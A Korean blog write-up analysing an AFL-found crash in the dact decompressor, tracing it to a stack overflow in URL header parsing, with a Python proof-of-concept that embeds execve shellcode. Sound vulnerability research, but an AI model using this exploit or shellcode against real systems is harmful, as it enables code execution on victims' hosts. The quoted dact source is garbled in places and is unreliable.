Notice
Recent Posts
Recent Comments
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

topcue

Fuzz with AFL & Exploit dact (2) Exploit 본문

바이너리 분석

Fuzz with AFL & Exploit dact (2) Exploit

topcue 2021. 2. 25. 16:04

Overview

앞서 발견한 crashing input을 분석하고 exploit 해보자.


dact format

우선 dact를 이용해 생성한 압축파일인 .dct 파일의 포맷을 분석해보자.

  • dct format
$ xxd ~/hello.txt.dct

00000000: 4443 54c3 0008 2a00 0000 0000 0000 0600  DCT...*.........
00000010: 0000 0100 0000 0b00 0000 001a 0400 0968  ...............h
00000020: 656c 6c6f 2e74 7874 0000 0412 e602 1f01  ello.txt........
00000030: 0004 12e6 021f 000b 6865 6c6c 6f0a 0000  ........hello...
00000040: 0000 00                                  ...

.dct 파일 포맷은 dact_common.c의 dact_process_file() 함수에서 분석할 수 있다.

  • dact_common.c
    /*
     * Copyright (C) 2001, 2002, and 2003  Roy Keene
     *
     * This program is free software; you can redistribute it and/or
     * modify it under the terms of the GNU General Public License
     * as published by the Free Software Foundation; either version 2
     * of the License, or (at your option) any later version.
     *
     * This program is distributed in the hope that it will be useful,
     * but WITHOUT ANY WARRANTY; without even the implied warranty of
     * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
     * GNU General Public License for more details.
     *
     * You should have received a copy of the GNU General Public License
     * along with this program; if not, write to the Free Software
     * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
     *
     *      email: dact@rkeene.org
     */
    
    #include "dact.h"
    #define __DACT_C
    #include 
    #include 
    #include 
    #ifdef HAVE_UNISTD_H
    #include 
    #endif
    #ifdef HAVE_STDLIB_H
    #include 
    #endif
    #ifdef HAVE_STRING_H
    #include 
    #endif
    #ifdef HAVE_SYS_STAT_H
    #include 
    #endif
    #ifdef HAVE_SYS_WAIT_H
    #include 
    #endif
    #ifdef HAVE_SYS_TYPES_H
    #include 
    #endif
    #include "parse.h"
    #include "dendian.h"
    #include "crc.h"
    #include "math.h"
    #include "dact_common.h"
    #include "algorithms.h"
    #include "ciphers.h"
    #include "module.h"
    #include "header.h"
    #include "parse.h"
    #include "net.h"
    #include "sfx.h"
    #include "ui.h"
    #ifdef HAVE_ZLIB_H
    #include 
    #endif
    #ifdef HAVE_BZLIB_H
    #include 
    #endif
    
    char dact_nonetwork=0;
    
    uint32_t dact_blksize_calc(int fsize) {
    	uint32_t ret=0;
    
    	if (fsize==0) return(DACT_BLK_SIZE_DEF);
    	if (fsize<(204800)) {
    		ret=(fsize+5);
    	}
    	if (ret==0) ret=(((int) ((((float) fsize)/102400.0)-(0.9999999)))*65535);
    	if (ret>DACT_BLK_SIZE_MAX) ret=DACT_BLK_SIZE_MAX;
    	return(ret);
    }
    
    int dact_config_execute(const char *cmd, unsigned char *options, uint32_t *blksize) {
    	char *line=NULL, *line_s, *item_buf[4]={NULL, NULL, NULL, NULL};
    	int i;
    
    	line_s=line=strdup(cmd);
    	if (line[0]=='#') return(0);
    	while (line[strlen(line)-1]<32) line[strlen(line)-1]='\0';
    	for (i=0;i<4;i++) item_buf[i]=NULL;
    	for (i=0;i<4;i++) {
    		if ((item_buf[i]=strsep(&line, "\t "))==NULL)  break;
    		if (item_buf[i][0]==0) i--;
    	}
    	if (item_buf[0]==NULL || item_buf[1]==NULL) return(0); /* This means all commands must have arguments. */
    
    	switch (elfcrc(0, (unsigned char *) item_buf[0], strlen(item_buf[0]))) {
    		case 164209419: /* binary_check */
    			options[DACT_OPT_BINCHK]=!!strcmp(item_buf[1],"off");
    			break;
    		case 9456603: /* version_check */
    			options[DACT_OPT_VERCHK]=!!strcmp(item_buf[1],"off");
    			break;
    		case 204349618: /* module_dir */
    			if ((sizeof(moduledirectory)-strlen(moduledirectory)-1)<=0) break;
    			strncat(moduledirectory,":",sizeof(moduledirectory)-strlen(moduledirectory)-1);
    			strncat(moduledirectory,item_buf[1],sizeof(moduledirectory)-strlen(moduledirectory)-1);
    			break;
    		case 247248556: /* module_load_all */
    			if (strcmp(item_buf[1], "on")==0) {
    				init_modules();
    				load_modules_all(options);
    			}
    			break;
    		case 48402100:  /* module_load */
    		case 106360197: /* load_module */
    			init_modules();
    			load_module(item_buf[1], options);
    			break;
    		case 164097267: /* network_access */
    #ifndef NO_NETWORK
    			dact_nonetwork=!strcmp(item_buf[1],"off");
    #endif
    			break;
    		case 209445231: /* exclude_algo */
    			i=(atoi(item_buf[1])&0xff);
    			algorithms[i]=DACT_FAILED_ALGO;
    			break;
    		case 168825941: /* block_size */
    			if (blksize!=NULL) {
    				*blksize=atoi2(item_buf[1]);
    			}
    			break;
    		case 162975987: /* use_urls */
    			options[DACT_OPT_URL]=!!strcmp(item_buf[1],"off");
    			break;
    		case 104235033: /* color_ui */
    			dact_ui_setopt(DACT_UI_OPT_COLOR,!!strcmp(item_buf[1],"off"));
    			break;
    		case 164800901: /* module_upgrade */
    			if (strcmp(item_buf[1],"on")==0) options[DACT_OPT_UPGRADE]=1;
    			break;
    		case 63160590: /* pass_use_stdin */
    		case 191551086: /* use_stdin */
    			dact_ui_setopt(DACT_UI_OPT_PASSSTDIN, 1);
    			break;
    #ifdef DEBUG
    		default:
    			fprintf(stderr, "Unknown command %s (%i)\n",item_buf[0],elfcrc(0,item_buf[0],strlen(item_buf[0])));
    			break;
    #endif
    	}
    	free(line_s);
    	return(1);
    }
    
    void dact_config_loadfile(const char *path, unsigned char *options, uint32_t *blksize) {
    	char *line=NULL;
    	FILE *cfd;
    
    	line=malloc(512);
    	if ((cfd=fopen(path,"r"))==NULL) return;
    	while (!feof(cfd)) {
    		fgets(line, 511, cfd);
    		dact_config_execute(line, options, blksize);
    	}
    	free(line);
    	fclose(cfd);
    }
    
    uint32_t dact_blk_decompress(unsigned char *ret, const unsigned char *srcbuf, const uint32_t size, const unsigned char *options, const int algo, uint32_t bufsize) {
    	uint32_t retval;
    
    	if (algo==0xff) return(0);
    
    	if (algorithms[algo]==NULL) {
    		PRINTERR("Algorithm unavailble.");
    		return(0);
    	}
    
    	retval=algorithms[algo](DACT_MODE_DECMP, NULL, srcbuf, ret, size, bufsize);
    
    	return(retval);
    }
    
    
    uint32_t dact_blk_compress(unsigned char *algo, unsigned char *ret, const unsigned char *srcbuf, const uint32_t size, const unsigned char *options, uint32_t bufsize) {
    	char *tmpbuf, *smallbuf=NULL;
    	int i, highest_algo=0;
    	char smallest_algo;
    	uint32_t smallest_size=-1, x;
    #ifndef DACT_UNSAFE
    	char *verif_bf=NULL;
    	uint32_t m;
    	if ((verif_bf=malloc(size))==NULL) { PERROR("malloc"); return(0); }
    #endif
    
    	if ((tmpbuf=malloc(bufsize))==NULL) { PERROR("malloc"); return(0); }
    
    	for (i=0;i<256;i++) {
    		if (algorithms[i]!=NULL && algorithms[i]!=DACT_FAILED_ALGO) highest_algo=i;
    	}
    
    	for (i=0;i<=highest_algo;i++) {
    		if (algorithms[i]!=NULL && algorithms[i]!=DACT_FAILED_ALGO) {
    			x=algorithms[i](DACT_MODE_COMPR, NULL, srcbuf, tmpbuf, size, bufsize);
    #ifndef DACT_UNSAFE
    			if ((x2) {
    				PRINT_LINE; fprintf(stderr, "dact: \033[%im----| %03i  | %-7i | %s\033[0m\n", (smallest_algo==i)*7 , i, x, algorithm_names[i]);
    			}
    
    		}
    	}
    
    	free(tmpbuf);
    #ifndef DACT_UNSAFE
    	free(verif_bf);
    #endif
    	if (smallest_size==-1) {
    		return(0);
    	}
    	memcpy(algo, &smallest_algo, sizeof(char));
    	memcpy(ret, smallbuf, smallest_size);
    /* This was MISSING !  memory leak. */
    	free(smallbuf);
    	return(smallest_size);
    }
    
    uint64_t dact_process_file(const int src, const int dest, const int mode, const unsigned char *options, const char *filename, uint32_t *crcs, uint32_t dact_blksize, int cipher) {
    	struct stat filestats;
    	FILE *extd_urlfile;
    	char *file_extd_urls[256];
    	unsigned char algo;
    	char ch;
    	char *hdr_buf, *keybuf=NULL, *tmpbuf=NULL;
    	unsigned char *in_buf, *out_buf;
    	char version[3]={DACT_VER_MAJOR, DACT_VER_MINOR, DACT_VER_REVISION};
    	char file_opts=0;
    	uint32_t bytes_read, retsize;
    	uint64_t filesize=0, fileoutsize=0, out_bufsize=0;
    	uint32_t blk_cnt=0, file_extd_size=0, blksize=0, blksize_uncomp=0;
    	uint32_t magic=0, file_extd_read=0, file_extd_urlcnt=0;
    	int hdr_reg_size=28;
    	int blksize_size;
    	int x=0, new_fd, canlseek=0;
    	ssize_t offset=0;
    
    	if (fstat(src, &filestats)<0) {
    		PERROR("fstat");
    		return(0);
    	}
    
    	if (mode==DACT_MODE_COMPR) {
    		blksize=dact_blksize;
    		if (blksize==0) {
    			blksize=dact_blksize_calc(filestats.st_size);
    		}
    
    		if (options[DACT_OPT_SFX]) {
    			offset=sfx_init_compress(dest);
    			if (offset<0) {
    				PRINTERR("Couldn't initialize self-extracting header.");
    				return(0);
    			}
    			dact_hdr_ext_regn(DACT_HDR_SFXLEN, offset, sizeof(offset));
    		}
    
    		out_bufsize=blksize*2;
    		if (((in_buf=malloc(blksize))==NULL) || \
    			((out_buf=malloc(out_bufsize))==NULL)) {
    				PERROR("malloc");
    				return(0);
    		}
    
    		dact_ui_setup(((float) (filestats.st_size/blksize)+0.9999));
    		if (cipher!=-1) {
    			dact_hdr_ext_regn(DACT_HDR_CIPHER, cipher, sizeof(cipher));
    			keybuf=malloc(DACT_KEY_SIZE);
    			ciphers[cipher](NULL, NULL, 0, keybuf, DACT_MODE_CINIT+DACT_MODE_CENC);
    			
    		}
    
    		blksize_size=BYTESIZE(blksize);
    
    		if (!options[DACT_OPT_ORIG] && filename!=NULL)
    			dact_hdr_ext_regs(DACT_HDR_NAME, filename, strlen(filename));
    		file_extd_size=(dact_hdr_ext_size()+14); /* The +14 is for crc0 and crc1 */
    		write_de(dest, DACT_MAGIC_NUMBER, 4);
    		write(dest, &version[0], 1);
    		write(dest, &version[1], 1);
    		write(dest, &version[2], 1);
    		write_de(dest, 0, 8); /* Place holder for ORIG FILE SIZE */
    		write_de(dest, 0, 4); /* Place holder for NUM BLOCKS */
    		write_de(dest, blksize, 4);
    		write_de(dest, file_opts, 1); /* XXX: Option byte... Or not? */
    		write_de(dest, file_extd_size, 4); /* Place holder for SIZEOF EXTENDED DTA */
    /* Fill the header with NOPs incase we can't come back and put the CRCs */
    		ch=DACT_HDR_NOP;
    		for (x=0;x1) {
    			PRINTERR("Blk | Algo | Size    | Name");
    			PRINTERR("----+------+---------+---------------------------");
    		}
    
    		memset(in_buf, 0, blksize);
    		while ( (bytes_read=read_f(src, in_buf, blksize))>0) {
    			filesize+=bytes_read;
    			blk_cnt++;
    
    			retsize=dact_blk_compress(&algo, out_buf, in_buf, blksize, options, out_bufsize);
    
    /* CIPHER the data if an encryption algorithm is specified. */
    			if (cipher!=-1) {
    				tmpbuf=malloc(retsize*2);
    				x=ciphers[cipher](out_buf, tmpbuf, retsize, keybuf, DACT_MODE_CENC);
    				memcpy(out_buf,tmpbuf,x);
    				free(tmpbuf);
    			}
    
    			if (retsize>0) {
    				if (options[DACT_OPT_VERB]>1) {
    					if (options[DACT_OPT_VERB]>2) {
    						PRINTERR("^^^\\ /^^^^\\ /^^^^^^^\\ /^^^^^^^^^^^^^^^^^^^^^^^^^^");
    					}
    					PRINT_LINE; fprintf(stderr, "dact: %03i | %03i  | %-7i | %s\n",blk_cnt,algo,retsize,algorithm_names[algo]);
    					if (options[DACT_OPT_VERB]>2) {
    						PRINTERR("___/ \\____/ \\_______/ \\__________________________");
    					}
    				}
    
    
    				dact_ui_incrblkcnt(1);
    				dact_ui_status(DACT_UI_LVL_GEN, "Algorithm ");
    				dact_ui_status_append(DACT_UI_LVL_GEN,algorithm_names[algo]);
    
    				crcs[0]=crc(crcs[0], out_buf, retsize);
    				/* Do not generate a CRC of the plaintext if encrypting */
    				if (cipher==-1) {
    					crcs[1]=crc(crcs[1], in_buf, blksize);
    				}
    
    				if (!options[DACT_OPT_HDONLY]) {
    					write(dest, &algo, 1);
    					write_de(dest, retsize, blksize_size);
    
    					if (write(dest, out_buf, retsize)!=retsize) {
    						PERROR("write");
    						free(in_buf);
    						free(out_buf);
    						return(0);
    					}
    				}
    			} else {
    				PRINTERR("Compression resulted in 0-byte block.");
    				free(in_buf);
    				free(out_buf);
    				return(0);
    			}
    			memset(in_buf, 0, blksize);
    		}
    
    		if (bytes_read<0) {
    			PERROR("read");
    		}
    
    		free(in_buf);
    		free(out_buf);
    
    		/* Put the filesize and file block count in the header, if possible. */
    		if (lseek_net(dest, offset+7, SEEK_SET)<0) {
    /* If we can't rewind the stream, put magic+fileisze */
    			write_de(dest, DACT_MAGIC_PEOF, 4);
    			write_de(dest, filesize, 8);
    		} else {
    			write_de(dest, filesize, 8);
    			write_de(dest, blk_cnt, 4);
    		} 
    
    		if (lseek_net(dest, offset+hdr_reg_size, SEEK_SET)>0) {
    			if (!options[DACT_OPT_NOCRC]) {
    				dact_hdr_ext_regn(DACT_HDR_CRC0, crcs[0], 4);
    				dact_hdr_ext_regn(DACT_HDR_CRC1, crcs[1], 4);
    			}
    			write(dest, dact_hdr_ext_data(), dact_hdr_ext_size());
    		}
    
    		dact_hdr_ext_clear();
    
    		return(filesize);
    	}
    
    	if (mode==DACT_MODE_DECMP) {
    
    		dact_ui_status(DACT_UI_LVL_GEN, "Decompressing.");
    
    		dact_hdr_ext_clear();
    
    		read_de(src, &magic, 4, sizeof(magic));
    
    		if (magic!=DACT_MAGIC_NUMBER) {
    			dact_ui_status(DACT_UI_LVL_GEN, "Bad DACT magic, checking others...");
    			return(dact_process_other(src,dest,magic,options));
    		}
    
    		read(src, &version[0], 1);
    		read(src, &version[1], 1);
    		read(src, &version[2], 1);
    #ifndef DACT_DONT_SUPPORT_OLDDACT
    		if (DACT_VERS(version[0], version[1], version[2])filesize && filesize!=0) {
    				write(dest, out_buf, blksize_uncomp-(fileoutsize-filesize));
    			} else {
    				write(dest, out_buf, bytes_read);
    			}
    
    			free(in_buf);
    		}
    
    		free(out_buf);
    
    		if ((crcs[0]!=crcs[2] && crcs[0]!=0 && crcs[2]!=0) \
    		  || (crcs[1]!=crcs[3] && crcs[1]!=0 && crcs[3]!=0)) {
    			dact_ui_status(DACT_UI_LVL_GEN, "CRC error.");
    			if (!options[DACT_OPT_NOCRC] || options[DACT_OPT_FORCE]<1)
    				return(0);
    		}
    
    		dact_hdr_ext_clear();
    
    		return(filesize);
    
    	}
    
    
    	if (mode==DACT_MODE_STAT) {
    		read_de(src, &magic, 4, sizeof(magic));
    		read(src, &version[0], 1);
    		read(src, &version[1], 1);
    		read(src, &version[2], 1);
    #ifndef DACT_DONT_SUPPORT_OLDDACT
    		if (DACT_VERS(version[0], version[1], version[2])
     */
    	if (lseek_net(src, 0, SEEK_SET)<0) {
    /*
     * lseek_net() should make this obsolete.
     *  ... EXCEPT! when reading from stdin.
     */
    		tmpfd=mkstemp(tmpbuf);
    		write_de(tmpfd, magic, 4);
    		buf=malloc(1024);
    		while (1) {
    			x=read_f(src, buf, 1024);
    			write(tmpfd, buf, x);
    			if (x<1024) break;
    		}
    		close(src);
    		src=tmpfd;
    		lseek_net(src, 0, SEEK_SET); /* Now bitch. */
    		free(buf);
    	}
    #if defined(HAVE_LIBZ) && defined(HAVE_GZDOPEN)
    
    	if ((magic&0xffff0000)==0x1f8b0000) { /* gzip */
    		dact_ui_status(DACT_UI_LVL_GEN, "Gunzipping...");
    		buf=malloc(1024);
    
    		gzfd=gzdopen(src, "r");
    /*XXX: need to dact_ui_setup() */
    		while (1) {
    			dact_ui_incrblkcnt(1);
    			x=gzread(gzfd,buf,1024);
    			filesize+=write(dest, buf, x);
    			if (x<1024) break;
    		}
    		free(buf);
    		if (tmpfd!=0) unlink(tmpbuf);
    		return(filesize);
    	}
    #endif
    
    #if defined(HAVE_LIBBZ2) && (defined(HAVE_BZDOPEN) || defined(HAVE_NEW_BZDOPEN))
    	if ((magic&0xffffff00)==0x425a6800) { /* bzip2 */ 
    		dact_ui_status(DACT_UI_LVL_GEN, "Bunzipping...");
    		buf=malloc(1024);
    
    #ifdef HAVE_NEW_BZDOPEN
    		bzfd=BZ2_bzdopen(src, "r");
    #else
    		bzfd=bzdopen(src, "r");
    #endif
    /*XXX: need to dact_ui_setup() */
    		while(1) {
    			dact_ui_incrblkcnt(1);
    #ifdef HAVE_NEW_BZDOPEN
    			x=BZ2_bzread(bzfd, buf, 1024);
    #else
    			x=bzread(bzfd, buf, 1024);
    #endif
    			filesize+=write(dest, buf, x);
    			if (x<1024) break;
    		}
    		free(buf);
    		if (tmpfd!=0) unlink(tmpbuf);
    		return(filesize);
    	}
    #endif
    	return(0);
    }

이 함수에서 dct 파일을 read() 관련 함수로 읽으면서 파싱한다.

관련 부분만 가져오면 아래와 같다.

  • read dct file
read_de(src, &magic, 4, sizeof(magic));
read(src, &version[0], 1);
read(src, &version[1], 1);
read(src, &version[2], 1);
read_de(src, &filesize, 8, sizeof(filesize))
read_de(src, &blk_cnt, 4, sizeof(blk_cnt));
read_de(src, &blksize_uncomp, 4, sizeof(blksize_uncomp));
read(src, &file_opts, 1);
read_de(src, &file_extd_size, 4, sizeof(file_extd_size));

while:
	read(src, &ch, 1); // let ch = HDR
	if (ch!=DACT_HDR_NOP)
		read_de(src, &x, 2, sizeof(x));

	case:
		read_f(src, hdr_buf, x);

magic부터 file_extd_size까지는 고정을 읽어주고 이후 while 문 내에서 ch 1바이트(이하 HDR)와 x 2바이트(이하 size)를 읽고 HDR에 따라 case 문으로 분기한다.

  • DACT_HDR_XXX in dact.h
#define DACT_HDR_CRC0	    0
#define DACT_HDR_CRC1	    1
#define DACT_HDR_TIME	    2
#define DACT_HDR_PERM	    3
#define DACT_HDR_NAME	    4
#define DACT_HDR_MD5SUM	  5
#define DACT_HDR_DESC   	6
#define DACT_HDR_URL	    7
#define DACT_HDR_URLFILE	8
#define DACT_HDR_CIPHER	  9
#define DACT_HDR_NOP	    10
#define DACT_HDR_IDXDATA	11
#define DACT_HDR_SFXLEN	  12

이때 read_de()는 big-endian으로 읽는 함수다.

따라서 dct file format은 아래와 같을 것이다.

  • dct file format
magic[4] + version[3] + filesize[8] + blk_cnt[4] + blksize_uncomp[4] + file_opts[1] + file_extd_size[4] + data[???]

그렇다면 hello.txt.dct 파일은 아래와 같다.

hello.txt.dct format

취약점 분석

이제 crash가 발생한 이유를 분석하자.

다음은 crashing input의 hex view다.

  • xxd crash
$ xxd ~/crash
00000000: 4443 54c3 0b08 2a00 0000 0000 0000 0605  DCT...*.........
00000010: 0003 0100 0000 0aeb 0000 b8b8 0400 0968  ...............h
00000020: 0000 6865 6c6c 6f0a 0000 0000 0004 1107  ..hello.........
00000030: 6865 6c6c 656c 6c6f 2e74 7874 0000 1013  hellello.txt....
00000040: 0402 1fe6 ff03 12e6 021f 0e0b 684f 6c12  ............hOl.
00000050: e602 1f00 0000 09                        .......

dct 파일 포맷에 맞게 분석하면 아래와 같다.

crash file foramt

DACT_HDR_URL인 07을 읽고 size(dact_common.c에서 변수명은 x)에 해당하는 두 바이트를 읽는다.

이때 size는 0x6865이다.

HDR가 DACT_HDR_URL인 case 문을 살펴보자.

  • case DACT_HDR_URL
// src = fd (input file)
// ch  = DACT_HDR_URL
// x   = 0x6866

case DACT_HDR_URL:
	hdr_buf=malloc(x+1);
	read_f(src, hdr_buf, x);
	hdr_buf[x]=0;
	file_extd_urls[file_extd_urlcnt++]=parse_url_subst(hdr_buf,filename);
	free(hdr_buf);
	break;

여기서 read_f(src, hdr_buf, x);를 수행하는데 src는 crashing input 파일의 파일 디스크립터, hdr_buf는 heap에 동적으로 할당받은 공간, x는 fd에서 읽으려는 크기 0x6865 바이트다.

읽으려는 크기 보다 작은 src에서 0x6865를 읽으려고 시도하니 src의 file pointer가 src를 끝까지 읽게 된다.

이후 break;로 case 문을 빠져나가면 while 문 아래에 있는 file_extd_read+=(x+3);를 수행하고 다시 while문 시작점으로 이동한다.

while문의 시작점은 아래와 같다.

  • while loop
while (file_extd_read<file_extd_size) {
	x=0;
	read(src, &ch, 1);
	if (ch!=DACT_HDR_NOP) read_de(src, &x, 2, sizeof(x)); 
	switch (ch) {
		case DACT_HDR_CRC0:
			read_de(src, &crcs[2], 4, sizeof(crcs[2]));
			if (crcs[4]!=0 && crcs[2]!=crcs[4]) {
				dact_ui_status(DACT_UI_LVL_GEN, "CRC error.");
				if (!options[DACT_OPT_NOCRC])
					return(0);
			}
			break;
		case DACT_HDR_CRC1:

x는 0으로 설정되지만 read(src, &ch, 1);를 수행해도 src의 file pointer가 이미 src를 다 읽었으니 ch가 변하지 않는다.

따라서 switch(ch)에서 항상 case DACT_HDR_URL:로 분기한다.

다시 case 문을 보자.

  • case DACT_HDR_URL
case DACT_HDR_URL:
	hdr_buf=malloc(x+1);
	read_f(src, hdr_buf, x);
	hdr_buf[x]=0;
	/* stack-buffer overflow! */
	file_extd_urls[file_extd_urlcnt++]=parse_url_subst(hdr_buf,filename);
	free(hdr_buf);
	break;

file_extd_urls은 256바이트 배열이다. (char *file_extd_urls[256];)

while loop을 계속 반복하다가 file_extd_urls[] 배열에서 스택 버퍼 오버플로우가 발생한다.


Exploit

1-day 취약점이니 mitigation은 대충 꺼두자..

  • ASLR off
# ASLR
sudo sysctl kernel.randomize_va_space=0

canary도 끄기 위해 Makefile에서 CFLAGS에 아래와 같이 flag를 추가해 주자.

  • stack-protector off
-fno-stack-protector -mpreferred-stack-boundary=4

쉘 코드로 간단히 개념 증명만 할 것이니 NX도 꺼주자.

  • NX-bit off
execstack -s dact

exploit 구상은 다음과 같다.

  1. file_extd_size가 충분히 커야 while 문을 탈출하지 않는다.
  1. DACT_HDR_URL과 size, data(URL)을 반복해서 쓰면서 RET 영역을 덮는다.
  1. 이때 덮어쓸 수 있는 값은 heap 영역의 주소들이고, RET를 덮는 주소에 해당하는 객체에 shellcode를 써준다.

PoC

  • PoC Code
import sys
import os
import binascii
from pwn import *

f = open("./poc.dct", 'w')

d = ""
d += "444354c3"               # magic[4]
d += "00082a"                 # version[3]
d += "00000000deadbeef"       # filesize[8]
d += "4354c374"               # blk_cnt[4]
d += "41013144"               # blksize_uncomp[4]
d += "00"                     # file_opts[1]
d += "00000b70"               # file_extd_size[4]

for i in range(0, 263):
    d += "07"                 # DACT_HDR_URL[1]
    d += "0008"               # size[2]
    d += "%08x%08x" % (0, i)  # URL[8]

d += "07"                     # DACT_HDR_URL[1]
d += "001b"                   # size[2]

# URL[1b] = shellcode[27]
d += "31c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05"
d += "0a"

# gen poc binary
f.write(binascii.unhexlify(d))
f.close()

# exploit
os.system("./dact -dcf poc.dct")

# EOF

함수 에필로그의 ret instruction을 수행하면 shellcode를 실행한다.

jmp to shellcode
PoC

Conclusion

사실 NX-bit 끈 것은 귀찮아서 그런 게 아니다... 익스가 너무 어려워서 그랬다.. 😢

해당 취약점은 rip를 원하는 값은 값으로 변조할 수 있는 취약점이 아니다.

대신 heap 영역에 동적으로 공간을 할당받고 그 주소로 stack을 덮다가 RET까지 덮을 수 있는 취약점이다.

따라서 취약점을 잘 트리거 하면 RET에 어떤 주소값이 위치하게 되는데, 그 주소가 실행 권한이 없다면(NX-bit로 heap 영역의 실행 권한을 없앤다면) exploit이 아주 어려워진다..

mitigation 우회가 당장 필요하지 않아서 쉘코드로 가볍게 마무리한다.


'바이너리 분석' 카테고리의 다른 글

ELF 포맷(The ELF Format)  (0) 2021.09.14
Anatomy of a Binary  (0) 2021.09.14
Fuzzing on OS X m1 with AFL++  (0) 2021.03.10
PLT GOT 동작과정 분석  (1) 2021.02.25
Fuzz with AFL & Exploit dact (1) Fuzzing  (1) 2021.02.25
Comments